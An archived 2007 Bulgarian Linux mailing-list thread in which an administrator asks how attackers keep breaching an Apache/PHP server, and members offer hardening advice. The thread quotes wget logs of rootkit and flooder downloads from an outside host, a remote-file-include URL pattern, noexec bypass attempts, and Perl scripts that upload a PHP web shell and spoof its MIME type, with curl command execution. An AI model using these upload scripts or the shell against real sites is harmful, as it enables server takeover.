Re: [Lug-bg] пробив през апаче и пхп :(
е то първите две неща са ми ясни, ясно ми е че през апач влизат проблема е че обърнах всички логове и никъде не намирам къде е дупката през която влизат... - Original Message - From: Vladimir Vitkov [EMAIL PROTECTED] To: deb4o [EMAIL PROTECTED]; Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org Sent: Thursday, July 12, 2007 9:04 AM Subject: Re: [Lug-bg] пробив през апаче и пхп :( 1) Файла flood е tar.gz архив с няколко флудера, пингъра и други такива. 2) н.йпг е тар.гз архив със рооткит и бнц 3) веднага ама веднага сваляй машината offline и почвай да разглеждаш. Съветвам те да прегледаш какви приложения вървят на тоя апач. Много съмнително е да е през него пробива. Цялото тва нещо е работа на някое script kiddie On 11/07/07, deb4o [EMAIL PROTECTED] wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: --00:43:08-- http://private.whitehat.ro/flood = `flood' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 208,412 [text/plain] 0K .. .. .. .. .. 24% 60.12 KB/s 50K .. .. .. .. .. 49% 237.64 KB/s 100K .. .. .. .. .. 73% 16.05 KB/s 150K .. .. .. .. .. 98% 60.06 KB/s 200K ... 100% 10.13 MB/s 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412] --- --11:39:45-- http://private.whitehat.ro/n.jpg = `n.jpg' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 261,375 [image/jpeg] 0K .. .. .. .. .. 19% 60.85 KB/s 50K .. .. .. .. .. 39% 122.81 KB/s 100K .. .. .. .. .. 58% 16.38 KB/s 150K .. .. .. .. .. 78% 61.60 KB/s 200K .. .. .. .. .. 97% 81.52 KB/s 250K . 100%1.02 MB/s 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg -- С уважение, Владимир Витков http://www.netsecad.com http://www.supportbg.com ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
1) Файла flood е tar.gz архив с няколко флудера, пингъра и други такива. 2) н.йпг е тар.гз архив със рооткит и бнц 3) веднага ама веднага сваляй машината offline и почвай да разглеждаш. Съветвам те да прегледаш какви приложения вървят на тоя апач. Много съмнително е да е през него пробива. Цялото тва нещо е работа на някое script kiddie On 11/07/07, deb4o [EMAIL PROTECTED] wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: --00:43:08-- http://private.whitehat.ro/flood = `flood' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 208,412 [text/plain] 0K .. .. .. .. .. 24% 60.12 KB/s 50K .. .. .. .. .. 49% 237.64 KB/s 100K .. .. .. .. .. 73% 16.05 KB/s 150K .. .. .. .. .. 98% 60.06 KB/s 200K ... 100% 10.13 MB/s 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412] --- --11:39:45-- http://private.whitehat.ro/n.jpg = `n.jpg' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 261,375 [image/jpeg] 0K .. .. .. .. .. 19% 60.85 KB/s 50K .. .. .. .. .. 39% 122.81 KB/s 100K .. .. .. .. .. 58% 16.38 KB/s 150K .. .. .. .. .. 78% 61.60 KB/s 200K .. .. .. .. .. 97% 81.52 KB/s 250K . 100%1.02 MB/s 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg -- С уважение, Владимир Витков http://www.netsecad.com http://www.supportbg.com ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
On Thu, Jul 12, 2007 at 09:23:00AM +0300, deb4o wrote: On Thursday, July 12, 2007 9:04 AM, Vladimir Vitkov wrote: 1) Файла flood е tar.gz архив с няколко флудера, пингъра и други такива. 2) н.йпг е тар.гз архив със рооткит и бнц 3) веднага ама веднага сваляй машината offline и почвай да разглеждаш. Съветвам те да прегледаш какви приложения вървят на тоя апач. Много съмнително е да е през него пробива. Цялото тва нещо е работа на някое script kiddie е то първите две неща са ми ясни, ясно ми е че през апач влизат проблема е че обърнах всички логове и никъде не намирам къде е дупката през която влизат... Според мен Владимир искаше да каже, че проблемът в сигурността вероятно не е нито в самия Apache, нито в самото PHP, а в някое от приложенията, които този Apache и това PHP пускат - разни форуми, блогове, електронни магазини, интерфейси към log analyzers, всякакви такива неща. Тях трябва да прегледаш - или поне да видиш какви такива неща са инсталирани, кои версии са, дали за тези версии няма известни проблеми в сигурността и така нататък. Поздрави, Петър -- Peter Pentchev [EMAIL PROTECTED][EMAIL PROTECTED][EMAIL PROTECTED] PGP key:http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 I am the thought you are now thinking. pgpTmIO9YurMS.pgp Description: PGP signature ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп : (
On Wed, July 11, 2007 11:16 pm, deb4o wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: --00:43:08-- http://private.whitehat.ro/flood = `flood' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 208,412 [text/plain] 0K .. .. .. .. .. 24% 60.12 KB/s 50K .. .. .. .. .. 49% 237.64 KB/s 100K .. .. .. .. .. 73% 16.05 KB/s 150K .. .. .. .. .. 98% 60.06 KB/s 200K ... 100% 10.13 MB/s 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412] --- --11:39:45-- http://private.whitehat.ro/n.jpg = `n.jpg' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 261,375 [image/jpeg] 0K .. .. .. .. .. 19% 60.85 KB/s 50K .. .. .. .. .. 39% 122.81 KB/s 100K .. .. .. .. .. 58% 16.38 KB/s 150K .. .. .. .. .. 78% 61.60 KB/s 200K .. .. .. .. .. 97% 81.52 KB/s 250K . 100%1.02 MB/s 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg Малко оффтопик, но nosuid,noexec е лека заблуда на противника: test:~# dd if=/dev/zero of=fs bs=1k count=100 100+0 records in 100+0 records out 102400 bytes (102 kB) copied, 0.000681537 seconds, 150 MB/s test:~# losetup -f fs test:~# mkfs.ext3 /dev/loop0 mke2fs 1.40-WIP (14-Nov-2006) Filesystem label= OS type: Linux snip /snip test:~# test:~# mount -o loop,nosuid,noexec fs mnt test:~# mount|grep mnt /root/fs on /root/mnt type ext2 (rw,noexec,nosuid,loop=/dev/loop1) test:~# test:~/mnt# cat EOF test #!/bin/bash echo test EOF test:~/mnt# test:~/mnt# chmod 0755 test test:~/mnt# ./test -su: ./test: /bin/bash: bad interpreter: Permission denied test:~/mnt# /bin/bash test test test:~/mnt# Пробвай safe_mode :) -- WWell by Iassen Anadoliev ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
deb4o wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. snip /var/tmp също е със world writable права. Единствената разлика с /tmp е, че обикновено съдържанието на /var/tmp не се трие при стартирането на системата. -- regards, Georgi Alexandrov key server - pgp.mit.edu :: key id - 0x37B4B3EE Key fingerprint = E429 BF93 FA67 44E9 B7D4 F89E F990 01C1 37B4 B3EE signature.asc Description: OpenPGP digital signature ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да добавиш примерно: /disable_functions = exec,passthru,system,proc_open,shell_exec/ С това ще забраниш изпълнението по-често използваните функции за изпълнение на команди. Преди това обаче е добре да разбереш как успяват да накарат PHPто да изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост от типа на: /include( $path . /neshtosi.php );/ Променливата $path не винаги се установяваше и хахорите извикваха адрес от типа на: /http://my.site.com/shitty-script.php?path=http://their.site.com/their-script.txt/ Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят мизерията, погледни кой е потребителят-собственик на изтеглените файлове. Това би свършило работа, ако PHP работи като CGI и използваш SUExec. Ако е като модул и имаш късмета да си с Apache 2, пробвай да инсталираш MPM ITK (в Debian и Ubuntu пакетът е apache2-mpm-itk). Разбереш ли кой е потребителят, ще трябва да претърсиш файловете им за include, include_once, require и require_once, за да видиш кои от тях използват динамични несигурни пътища. Нищо чудно това да е стара версия на софтуер с известни проблеми. Поздрави, Валери. deb4o wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: --00:43:08-- http://private.whitehat.ro/flood = `flood' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 208,412 [text/plain] 0K .. .. .. .. .. 24% 60.12 KB/s 50K .. .. .. .. .. 49% 237.64 KB/s 100K .. .. .. .. .. 73% 16.05 KB/s 150K .. .. .. .. .. 98% 60.06 KB/s 200K ... 100% 10.13 MB/s 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412] --- --11:39:45-- http://private.whitehat.ro/n.jpg = `n.jpg' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 261,375 [image/jpeg] 0K .. .. .. .. .. 19% 60.85 KB/s 50K .. .. .. .. .. 39% 122.81 KB/s 100K .. .. .. .. .. 58% 16.38 KB/s 150K .. .. .. .. .. 78% 61.60 KB/s 200K .. .. .. .. .. 97% 81.52 KB/s 250K . 100%1.02 MB/s 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп : (
Iassen Anadoliev wrote: snip Малко оффтопик, но nosuid,noexec е лека заблуда на противника: test:~# dd if=/dev/zero of=fs bs=1k count=100 100+0 records in 100+0 records out 102400 bytes (102 kB) copied, 0.000681537 seconds, 150 MB/s test:~# losetup -f fs test:~# mkfs.ext3 /dev/loop0 mke2fs 1.40-WIP (14-Nov-2006) Filesystem label= OS type: Linux snip /snip test:~# test:~# mount -o loop,nosuid,noexec fs mnt test:~# mount|grep mnt /root/fs on /root/mnt type ext2 (rw,noexec,nosuid,loop=/dev/loop1) test:~# test:~/mnt# cat EOF test #!/bin/bash echo test EOF test:~/mnt# test:~/mnt# chmod 0755 test test:~/mnt# ./test -su: ./test: /bin/bash: bad interpreter: Permission denied test:~/mnt# /bin/bash test test test:~/mnt# Пробвай safe_mode :) Не е заблуда на противника. noexec оптцията прави точно това което трябва да прави. От man 8 mount: noexec Do not allow direct execution of any *binaries* on the mounted file system. (Until recently it was possible to run binaries anyway using a command like /lib/ld*.so /mnt/binary. This trick fails since Linux 2.4.25 / 2.6.0.) Това е обсъждано и друг път тук, погледни архива на листа. -- regards, Georgi Alexandrov key server - pgp.mit.edu :: key id - 0x37B4B3EE Key fingerprint = E429 BF93 FA67 44E9 B7D4 F89E F990 01C1 37B4 B3EE signature.asc Description: OpenPGP digital signature ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
Здравей, за съжаление не мога да дам съвет къде точно е проблема. Тъй като имах преди време подобен проблем, освен нещата които вече се написаха като защита, мога да ти препоръчам да сложиш mod_security. Може би малко време ще ти отнеме докато го настроши, но мисля, че си заслужава. Може да го намериш тук: http://www.modsecurity.org/ Поздрави и успех! На 11.7.2007 23:16 deb4o пише: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
В прикаченото файлче съм описал основните атаки върху web applications. Най-често в момента се случва да се използват атаките върху getimagesize function-а на PHP. За съжаление, няма директно решение на проблема с getimagesize :( Поздрави Мариан On Thursday 12 July 2007 11:08:38 Valery Dachev wrote: Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да добавиш примерно: /disable_functions = exec,passthru,system,proc_open,shell_exec/ С това ще забраниш изпълнението по-често използваните функции за изпълнение на команди. Преди това обаче е добре да разбереш как успяват да накарат PHPто да изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост от типа на: /include( $path . /neshtosi.php );/ Променливата $path не винаги се установяваше и хахорите извикваха адрес от типа на: /http://my.site.com/shitty-script.php?path=http://their.site.com/their-scri pt.txt/ Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят мизерията, погледни кой е потребителят-собственик на изтеглените файлове. Това би свършило работа, ако PHP работи като CGI и използваш SUExec. Ако е като модул и имаш късмета да си с Apache 2, пробвай да инсталираш MPM ITK (в Debian и Ubuntu пакетът е apache2-mpm-itk). Разбереш ли кой е потребителят, ще трябва да претърсиш файловете им за include, include_once, require и require_once, за да видиш кои от тях използват динамични несигурни пътища. Нищо чудно това да е стара версия на софтуер с известни проблеми. Поздрави, Валери. ATTACK 1: #!/usr/bin/perl use LWP; # we are using libwwwperl use HTTP::Request::Common; $ua = $ua = LWP::UserAgent-new; # UserAgent is an HTTP client $res = $ua-request(POST 'http://localhost/upload1.php', # send POS Content_Type = 'form-data', # The cont # multipart/form-data ? the standard for form-based fi Content = [ userfile = [shell.php, shell.php],# The body # request will contain the shell.php file ], ); print $res-as_string(); # Print out the response from the server RESULT: POST /upload1.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: localhost User-Agent: libwww-perl/5.803 Content-Length: 156 Content-Type: multipart/form-data; boundary=xYzZY --xYzZY Content-Disposition: form-data; name=userfile; filename=shell.php Content-Type: text/plain ?php system($_GET['command']); ? --xYzZY-- HTTP/1.1 200 OK Date: Wed, 13 Jun 2007 12:25:32 GMT Server: Apache X-Powered-By: PHP/4.4.4 Content-Length: 48 Connection: close Content-Type: text/html File is valid, and was successfully uploaded. COMMAND EXECUTION: $ curl http://localhost/uploads/shell.php?command=id uid=81(apache) gid=81(apache) groups=81(apache) VERIFING THE MIME TYPE: ?php if($_FILES['userfile']['type'] != image/gif) { echo Sorry, we only allow uploading GIF images; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo File is valid, and was successfully uploaded.\n; } else { echo File uploading failed.\n; } ? RESULT: POST /upload2.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: localhost User-Agent: libwww-perl/5.803 Content-Type: multipart/form-data; boundary=xYzZY Content-Length: 156 --xYzZY Content-Disposition: form-data; name=userfile; filename=shell.php Content-Type: text/plain ?php system($_GET['command']); ? --xYzZY-- HTTP/1.1 200 OK Date: Thu, 13 Jun 2007 13:54:01 GMT Server: Apache X-Powered-By: PHP/4.4.4 Content-Length: 41 Connection: close Content-Type: text/html Sorry, we only allow uploading GIF images ATTACK 2: #!/usr/bin/perl # use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent-new;; $res = $ua-request(POST 'http://localhost/upload2.php', Content_Type = 'form-data', Content = [ userfile = [shell.php, shell.php, Content-Type = image/gif], ], ); print $res-as_string(); RESULT: POST /upload2.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: localhost User-Agent: libwww-perl/5.803 Content-Type: multipart/form-data; boundary=xYzZY Content-Length: 155 --xYzZY Content-Disposition: form-data; name=userfile; filename=shell.php Content-Type: image/gif ?php system($_GET['command']); ? --xYzZY-- HTTP/1.1 200 OK Date: Thu, 13 Jun 2007 14:02:11 GMT Server: Apache X-Powered-By: PHP/4.4.4 Content-Length: 59 Connection: close Content-Type: text/html preFile is valid, and was successfully uploaded. /pre VALIDATING IMAGE CONTENT: ?php $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); if($imageinfo['mime'] != 'image/gif' $imageinfo['mime'] != 'image/jpeg') { echo Sorry, we only accept GIF and JPEG images\n; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if
Re: [Lug-bg] пробив през апаче и пхп :(
On Thursday 12 July 2007 11:27:16 Georgi Alexandrov wrote: deb4o wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. snip /var/tmp също е със world writable права. Единствената разлика с /tmp е, че обикновено съдържанието на /var/tmp не се трие при стартирането на системата. Ако използваш suexec, в 90% от ситуациите от там може да се види кой/какво е стартирало определения файл. Отново в 90% от случайте... в момента в който това се стартира, файловете от които се е стартирало приложението биват изтрити. Поздрави Мариян ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
safe_mode не е добър вариант за решение, имам доста виртуални хостове на сайтове, никой от тях не използва perl/cgi а само пхп за всеки сайта съм сетнал open_base dir и не могат да отварят нищо освен собсвената си директория. единственно session_path не съм сетвал допълнително и е по подразбиране в /tmp /var/tmp съм я направил като symbolic link към дяла /tmp и там не могат да се стартират бинарни файлове. - Original Message - From: Valery Dachev To: Linux Users Group - Bulgaria Sent: Thursday, July 12, 2007 11:08 AM Subject: Re: [Lug-bg] пробив през апаче и пхп :( Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да добавиш примерно: disable_functions = exec,passthru,system,proc_open,shell_exec С това ще забраниш изпълнението по-често използваните функции за изпълнение на команди. Преди това обаче е добре да разбереш как успяват да накарат PHPто да изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост от типа на: include( $path . /neshtosi.php ); Променливата $path не винаги се установяваше и хахорите извикваха адрес от типа на: http://my.site.com/shitty-script.php?path=http://their.site.com/their-script.txt; Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят мизерията, погледни кой е потребителят-собственик на изтеглените файлове. Това би свършило работа, ако PHP работи като CGI и използваш SUExec. Ако е като модул и имаш късмета да си с Apache 2, пробвай да инсталираш MPM ITK (в Debian и Ubuntu пакетът е apache2-mpm-itk). Разбереш ли кой е потребителят, ще трябва да претърсиш файловете им за include, include_once, require и require_once, за да видиш кои от тях използват динамични несигурни пътища. Нищо чудно това да е стара версия на софтуер с известни проблеми. Поздрави, Валери. deb4o wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: --00:43:08-- http://private.whitehat.ro/flood = `flood' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 208,412 [text/plain] 0K .. .. .. .. .. 24% 60.12 KB/s 50K .. .. .. .. .. 49% 237.64 KB/s 100K .. .. .. .. .. 73% 16.05 KB/s 150K .. .. .. .. .. 98% 60.06 KB/s 200K ... 100% 10.13 MB/s 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412] --- --11:39:45-- http://private.whitehat.ro/n.jpg = `n.jpg' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 261,375 [image/jpeg] 0K .. .. .. .. .. 19% 60.85 KB/s 50K .. .. .. .. .. 39% 122.81 KB/s 100K .. .. .. .. .. 58% 16.38 KB/s 150K .. .. .. .. .. 78% 61.60 KB/s 200K .. .. .. .. .. 97% 81.52 KB/s 250K . 100%1.02 MB/s 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg -- ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
deb4o wrote: е то първите две неща са ми ясни, ясно ми е че през апач влизат проблема е че обърнах всички логове и никъде не намирам къде е дупката през която влизат... snip По-скоро разгледай какви php приложения се обслужват от уеб сървъра. -- regards, Georgi Alexandrov key server - pgp.mit.edu :: key id - 0x37B4B3EE Key fingerprint = E429 BF93 FA67 44E9 B7D4 F89E F990 01C1 37B4 B3EE signature.asc Description: OpenPGP digital signature ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
Има доста информация в интернет как можеш да стартираш бинарен файл върху дял който е монтиран noexec. Основната идея е да се използва /lib/ld-linux.so.2 /path/to/binary/file Е, за да работи това ти трябва специално преправен файл но като цяло няма такова нещо като немогат да се стартират програми от този дял(освен ако не си с RSBAC, RBAC, NSA SElinux или друг подобен security patch). Поздрави Мариян On Thursday 12 July 2007 13:53:53 deb4o wrote: safe_mode не е добър вариант за решение, имам доста виртуални хостове на сайтове, никой от тях не използва perl/cgi а само пхп за всеки сайта съм сетнал open_base dir и не могат да отварят нищо освен собсвената си директория. единственно session_path не съм сетвал допълнително и е по подразбиране в /tmp /var/tmp съм я направил като symbolic link към дяла /tmp и там не могат да се стартират бинарни файлове. - Original Message - From: Valery Dachev To: Linux Users Group - Bulgaria Sent: Thursday, July 12, 2007 11:08 AM Subject: Re: [Lug-bg] пробив през апаче и пхп :( Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да добавиш примерно: disable_functions = exec,passthru,system,proc_open,shell_exec С това ще забраниш изпълнението по-често използваните функции за изпълнение на команди. Преди това обаче е добре да разбереш как успяват да накарат PHPто да изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост от типа на: include( $path . /neshtosi.php ); Променливата $path не винаги се установяваше и хахорите извикваха адрес от типа на: http://my.site.com/shitty-script.php?path=http://their.site.com/their-scrip t.txt Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят мизерията, погледни кой е потребителят-собственик на изтеглените файлове. Това би свършило работа, ако PHP работи като CGI и използваш SUExec. Ако е като модул и имаш късмета да си с Apache 2, пробвай да инсталираш MPM ITK (в Debian и Ubuntu пакетът е apache2-mpm-itk). Разбереш ли кой е потребителят, ще трябва да претърсиш файловете им за include, include_once, require и require_once, за да видиш кои от тях използват динамични несигурни пътища. Нищо чудно това да е стара версия на софтуер с известни проблеми. Поздрави, Валери. deb4o wrote: няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: --00:43:08-- http://private.whitehat.ro/flood = `flood' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 208,412 [text/plain] 0K .. .. .. .. .. 24% 60.12 KB/s 50K .. .. .. .. .. 49% 237.64 KB/s 100K .. .. .. .. .. 73% 16.05 KB/s 150K .. .. .. .. .. 98% 60.06 KB/s 200K ... 100% 10.13 MB/s 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412] --- --11:39:45-- http://private.whitehat.ro/n.jpg = `n.jpg' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 261,375 [image/jpeg] 0K .. .. .. .. .. 19% 60.85 KB/s 50K .. .. .. .. .. 39% 122.81 KB/s 100K .. .. .. .. .. 58% 16.38 KB/s 150K .. .. .. .. .. 78% 61.60 KB/s 200K .. .. .. .. .. 97% 81.52 KB/s 250K . 100%1.02 MB/s 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg --- --- ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
1. сменяш allow_url_fopen = Off в php.ini. 2. рестартираш apache-то. 3. теглиш http://downloads.sourceforge.net/rkhunter/rkhunter-1.2.9.tar.gz 4. инсталираш, пускаш да провери, ако има нещо - отсраняваш. 5. спиш спокойно :-) ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
Around 07/12/07 15:29, Marian Marinov scribbled: Има доста информация в интернет как можеш да стартираш бинарен файл върху дял който е монтиран noexec. Основната идея е да се използва /lib/ld-linux.so.2 /path/to/binary/file Това отдавна не работи, от 2.5 нещо си нататък. При файла зареден от noexec партишън ядрото не позволява паметта в която е зареден да бъде маркирана като PROT_EXEC (ако си спомням правилно) ефективно това не дава на динамичния линкер (ld-linux.so.2) да линкне и изпълни файла. Разбира се ако имаш някъде интерпретатор като perl, php, bash и файл написан на някой от тези скриптови езици, можеш да изпълниш /bin/interpretatora faila, но на партишън с noxec няма начин да изпълниш компилиран код (освен ако в ядрото няма някоя грешка) -- Georgi Chorbadzhiyski http://georgi.unixsol.org/ ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
Мда mount -o remount,noexec,nosuid /tmp # mount |grep tmp tmpfs on /dev/shm type tmpfs (rw) /dev/mapper/vg00-lv_tmp on /tmp type ext3 (rw,noexec,nosuid) # file /bin/ls /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped # cp /bin/ls /tmp/ls_test # /lib/ld-linux.so.2 /tmp/ls_test /tmp/ls_test: error while loading shared libraries: /tmp/ls_test: failed to map segment from shared object: Operation not permitted # Georgi Chorbadzhiyski [EMAIL PROTECTED] Sent by: [EMAIL PROTECTED] 12.07.2007 16:13 Please respond to Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org To Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org cc Subject Re: [Lug-bg] пробив през апаче и пхп :( Around 07/12/07 15:29, Marian Marinov scribbled: Има доста информация в интернет как можеш да стартираш бинарен файл върху дял който е монтиран noexec. Основната идея е да се използва /lib/ld-linux.so.2 /path/to/binary/file Това отдавна не работи, от 2.5 нещо си нататък. При файла зареден от noexec партишън ядрото не позволява паметта в която е зареден да бъде маркирана като PROT_EXEC (ако си спомням правилно) ефективно това не дава на динамичния линкер (ld-linux.so.2) да линкне и изпълни файла. Разбира се ако имаш някъде интерпретатор като perl, php, bash и файл написан на някой от тези скриптови езици, можеш да изпълниш /bin/interpretatora faila, но на партишън с noxec няма начин да изпълниш компилиран код (освен ако в ядрото няма някоя грешка) -- Georgi Chorbadzhiyski http://georgi.unixsol.org/ ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org 